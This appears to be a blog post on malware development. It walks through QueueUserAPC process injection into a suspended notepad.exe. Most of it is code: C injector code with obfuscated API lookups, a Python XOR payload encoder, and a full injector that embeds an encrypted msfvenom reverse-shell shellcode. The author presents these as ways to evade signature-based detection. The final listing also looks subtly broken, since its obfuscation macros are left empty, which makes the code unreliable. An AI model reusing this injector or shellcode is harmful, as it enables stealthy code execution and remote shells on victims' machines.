QueueUserAPC Process Injection
what makes QueueUserAPC process injection different?
QueueUserAPC process injection is a technique used as an alternative to the CreateRemoteThread injection method. This technique is quite tricky because we don’t inject our shellcode into the existing process’s memory. Instead, a new process is created in a suspended state and injects our shell into the suspended state. After that, the process is made to wait in a queue before being executed.
Meaning to say that the QueueUserAPC shellcode will not be executed immediately. When using CreateRemoteThread, the shellcode is executed immediately upon binary execution. On the other hand, with the APC shellcode injection technique, the shellcode is placed into the APC queue of the process thread before execution.
In this demonstration of QueueUserAPC process injection, I use two approaches. The firstapproach involves API obfuscation, while the second one employs XOR encryption. By using XOR encryption, we could bypass basic-level signatures base detection. On the other hand, API obfuscation makes it much harder to detect any known API calls.
Let me break it down briefly.
- I will use MSFVEN’s reverse shell for this demonstration. In real-world test cases, we can use HTTP requests to download the shell code from a remote server.
- Our goal is to suspend a newly created process, specifically “notepad.exe,” without running it immediately. To achieve this, we need to use the CreateProcess API and make it suspend the created process.
- We need to allocate memory within the notepad.exe process using VirtualAllocEx to hold the shellcode.
- We need to copy the shellcode into the allocated notepad.exe memory region using WriteProcessMemory.
- We need to use QueueUserAPC to execute the payload and queue shellcode.
- Finally, we need to resume suspended a thread that has been previously suspended while creating the new process with the createprocess API
As indicated below, I have used the basic API function obfuscation; however, this is not fully functional obfuscation. This method conceals API calls, making reverse engineering and analysis more difficult. I learned this technique from a RED TEAM Operator during the Malware Development Intermediate Course.
#define CREATE_PROCESS_FN "CreateProcessA"
#define VIRTUAL_ALLOC_FN "VirtualAllocEx"
#define WRITE_PROCESS_MEM_FN "WriteProcessMemory"
#define QUEUE_APC_FN "QueueUserAPC"
#define RESUME_THREAD_FN "ResumeThread"
#define CLOSE_HANDLE_FN "CloseHandle"
typedef BOOL(WINAPI* CreateProcessFn)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
typedef LPVOID(WINAPI* VirtualAllocFn)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL(WINAPI* WriteProcessMemoryFn)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef DWORD(WINAPI* QueueUserAPCFn)(PAPCFUNC, HANDLE, ULONG_PTR);
typedef DWORD(WINAPI* ResumeThreadFn)(HANDLE);
typedef BOOL(WINAPI* CloseHandleFn)(HANDLE);
As explained below, the XOR function is used to avoid signature-based detection since we need to transfer the binary file to the drive. Although XOR is a simple way of encryption and decryption, it is not a secure encryption method, and should not be used in real-world scenarios.
void encryptDataWithXOR(unsigned char* data, size_t size, const char* key) {
size_t keyLen = strlen(key);
for (size_t i = 0; i < size; i++) {
data[i] = data[i] ^ key[i % keyLen];
}
}
As explained below, I use the CreateProcess function to initiate a new process. The CREATE_SUSPENDED flag is set to suspend the created process, meaning it will not be executed immediately.
STARTUPINFOA startupInfo = { 0 };
PROCESS_INFORMATION processInfo = { 0 };
LPCSTR applicationPath = "C:\\Windows\\System32\\notepad.exe";
if (CreateProcess(applicationPath,
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&startupInfo,
I wrote a Python script using the XOR function to generate an encrypted payload, evading signature-based detection.
import sys
KEY = "NyaMeeEain"
def xor(data, key):
key = str(key)
key_length = len(key)
ciphertext = bytearray()
for i, current in enumerate(data):
current_key = key[i % key_length]
encrypted_byte = current ^ ord(current_key)
ciphertext.append(encrypted_byte)
return ciphertext
def print_ciphertext(ciphertext):
hex_bytes = ', '.join(f'0x{byte:02X}' for byte in ciphertext)
print('{', hex_bytes, '};')
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <payload file>")
sys.exit(1)
input_file = sys.argv[1]
try:
with open(input_file, "rb") as file:
plaintext = file.read()
except FileNotFoundError:
print(f"Error: File not found: {input_file}")
sys.exit(1)
ciphertext = xor(plaintext, KEY)
print_ciphertext(ciphertext)
if __name__ == "__main__":
main()

Below is the final code for QueueUserAPC process injection:
#include <Windows.h>
#include <iostream>
//API functions were Obfuscated
#define CREATE_PROCESS_W00T
#define VIRTUAL_ALLOC_W00T
#define WRITE_PROCESS_MEM_W00T
#define QUEUE_APC_W00T
#define RESUME_THREAD_W00T
#define CLOSE_HANDLE_W00T
// Obfuscated function types
typedef BOOL(WINAPI* CreateProcessW00T)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
typedef LPVOID(WINAPI* VirtualAllocW00T)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL(WINAPI* WriteProcessMemoryW00T)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef DWORD(WINAPI* QueueUserAPCW00T)(PAPCFUNC, HANDLE, ULONG_PTR);
typedef DWORD(WINAPI* ResumeThreadW00T)(HANDLE);
typedef BOOL(WINAPI* CloseHandleW00T)(HANDLE);
// Xor algorithm encryption was implemented
void encryptDataWithXOR(unsigned char* data, size_t size, const char* key) {
size_t keyLen = strlen(key);
for (size_t i = 0; i < size; i++) {
data[i] = data[i] ^ key[i % keyLen];
}
}
int main() {
const char encryptionKey[] = "NyaMeeEain";
//Encrypted shellcode
unsigned char shellcode[] = {0xB2, 0x31, 0xE0, 0xA9, 0x95, 0x9A, 0xBA, 0x9E, 0x81, 0xBE, 0x4E, 0x79, 0x61, 0x0C, 0x34, 0x24, 0x15, 0x33, 0x38, 0x38, 0x06, 0x48, 0xB3, 0x28, 0x2D, 0xEE, 0x17, 0x01, 0x57, 0x26, 0xC5, 0x2B, 0x79, 0x73, 0x2D, 0xEE, 0x17, 0x41, 0x57, 0x26, 0xC5, 0x0B, 0x31, 0x73, 0x2D, 0x6A, 0xF2, 0x2B, 0x23, 0x23, 0x7F, 0xB0, 0x29, 0x7C, 0xA5, 0xC9, 0x79, 0x00, 0x15, 0x6C, 0x62, 0x59, 0x20, 0x8C, 0xAC, 0x68, 0x04, 0x60, 0xA8, 0x8C, 0xA3, 0x2B, 0x20, 0x1C, 0x5B, 0x2D, 0xCE, 0x33, 0x49, 0x50, 0xC5, 0x3B, 0x5D, 0x05, 0x64, 0xB5, 0x7B, 0xEA, 0xE9, 0xE6, 0x4E, 0x79, 0x61, 0x05, 0xE0, 0xA5, 0x31, 0x0E, 0x21, 0x6F, 0x9E, 0x29, 0x5F, 0xC6, 0x2D, 0x7D, 0x7B, 0x25, 0xE2, 0x2E, 0x6E, 0x30, 0x60, 0x9D, 0x86, 0x39, 0x0D, 0x9E, 0xA0, 0x50, 0x0F, 0xF2, 0x55, 0xC5, 0x2D, 0x64, 0x93, 0x2C, 0x58, 0xA7, 0x06, 0x48, 0xA1, 0xE1, 0x24, 0xA4, 0x8C, 0x6C, 0x28, 0x6F, 0x8F, 0x41, 0x81, 0x38, 0x94, 0x5B, 0x09, 0x62, 0x25, 0x4A, 0x46, 0x3C, 0x58, 0x9C, 0x10, 0xB3, 0x1D, 0x5F, 0x2D, 0xE5, 0x0E, 0x5D, 0x28, 0x4C, 0xB5, 0x03, 0x7B, 0x20, 0xE2, 0x62, 0x06, 0x47, 0x25, 0xC6, 0x25, 0x79, 0x0C, 0x60, 0xB9, 0x50, 0x0F, 0xF2, 0x65, 0xC5, 0x2D, 0x64, 0x95, 0x20, 0x31, 0x2F, 0x16, 0x27, 0x38, 0x17, 0x24, 0x3D, 0x04, 0x38, 0x28, 0x34, 0x06, 0xFA, 0x8D, 0x6D, 0x24, 0x37, 0xBA, 0x81, 0x31, 0x2F, 0x17, 0x23, 0x5F, 0x05, 0xEE, 0x77, 0xAC, 0x28, 0x96, 0x91, 0xB1, 0x24, 0x5F, 0x05, 0xE8, 0xE8, 0x01, 0x60, 0x69, 0x6E, 0x0F, 0xC3, 0x2D, 0x3A, 0x43, 0x62, 0xBA, 0xB4, 0x20, 0xA9, 0x8F, 0x79, 0x61, 0x4D, 0x65, 0x5B, 0x0D, 0xEC, 0xFC, 0x60, 0x4F, 0x79, 0x61, 0x73, 0x29, 0xE8, 0xC0, 0x58, 0x68, 0x6E, 0x4E, 0x31, 0x50, 0x84, 0x24, 0xDF, 0x00, 0xE2, 0x3F, 0x69, 0xB1, 0xAC, 0x29, 0x7C, 0xAC, 0x24, 0xFF, 0x91, 0xDC, 0xCC, 0x18, 0x86, 0xB4, 0x0E, 0x04, 0x11, 0x26, 0x09, 0x49, 0x23, 0x2B, 0x59, 0x28, 0x2B, 0x45, 0x3C, 0x2A, 0x14, 0x49, 0x2D, 0x2F, 0x17, 0x4F, 0x63, 0x4B, 0x36, 0x2D, 0x04, 0x05, 0x02, 0x2D, 0x16, 0x05, 0x28, 0x45, 0x0C, 0x36, 0x41, 0x05, 0x01, 0x2F, 0x1D, 0x08, 0x23, 0x02, 0x65, 0x0B, 0x18, 0x08, 0x23, 0x2B, 0x1C, 0x24, 0x2C, 0x0C, 0x0B, 0x45, 0x14, 0x1A, 0x0B, 0x3C, 0x4A, 0x53, 0x63, 0x01, 0x09, 0x29, 0x61};
SIZE_T shellcodeSize = sizeof(shellcode);
// Load the obfuscated function addresses
HMODULE kernel32 = GetModuleHandleA("kernel32.dll");
CreateProcessW00T CreateProcess = (CreateProcessW00T)GetProcAddress(kernel32, CREATE_PROCESS_W00T);
VirtualAllocW00T VirtualAllocEx = (VirtualAllocW00T)GetProcAddress(kernel32, VIRTUAL_ALLOC_W00T);
WriteProcessMemoryW00T WriteProcessMemory = (WriteProcessMemoryW00T)GetProcAddress(kernel32, WRITE_PROCESS_MEM_W00T);
QueueUserAPCW00T QueueUserAPC = (QueueUserAPCW00T)GetProcAddress(kernel32, QUEUE_APC_W00T);
ResumeThreadW00T ResumeThread = (ResumeThreadW00T)GetProcAddress(kernel32, RESUME_THREAD_W00T);
CloseHandleW00T CloseHandle = (CloseHandleW00T)GetProcAddress(kernel32, CLOSE_HANDLE_W00T);
STARTUPINFOA startupInfo = { 0 };
PROCESS_INFORMATION processInfo = { 0 };
LPCSTR applicationPath = "C:\\Windows\\System32\\notepad.exe";
if (CreateProcess(applicationPath,
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&startupInfo,
&processInfo)) {
HANDLE processHandle = processInfo.hProcess;
HANDLE threadHandle = processInfo.hThread;
encryptDataWithXOR(shellcode, shellcodeSize, encryptionKey);
LPVOID remoteShellAddress = VirtualAllocEx(processHandle, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteShellAddress) {
WriteProcessMemory(processHandle, remoteShellAddress, shellcode, shellcodeSize, NULL);
QueueUserAPC((PAPCFUNC)remoteShellAddress, threadHandle, (ULONG_PTR)remoteShellAddress);
ResumeThread(threadHandle);
WaitForSingleObject(processHandle, INFINITE);
// Clean up resources
VirtualFreeEx(processHandle, remoteShellAddress, 0, MEM_RELEASE);
CloseHandle(threadHandle);
CloseHandle(processHandle);
}
}
return 0;
}
Proof Of Concept
As shown in the screenshot Figure 2, processID 8252 (notepad.exe) is suspended stage without being executed and managed to obtain a reverse shell.

As shown in the screenshot Figure 3, the notepad.exe process memory address (1C4D04C0000) appears to have held the shellcode within the notepad.exe process memory.


References:
I would like to credit the following authors and reference sources to achieve this project. I have gained knowledge and ideas from these sources to develop my code snippets and ideas.
https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
https://perspectiverisk.com/a-practical-guide-to-bypassing-userland-api-hooking/
https://posts.specterops.io/the-curious-case-of-queueuserapc-3f62e966d2cb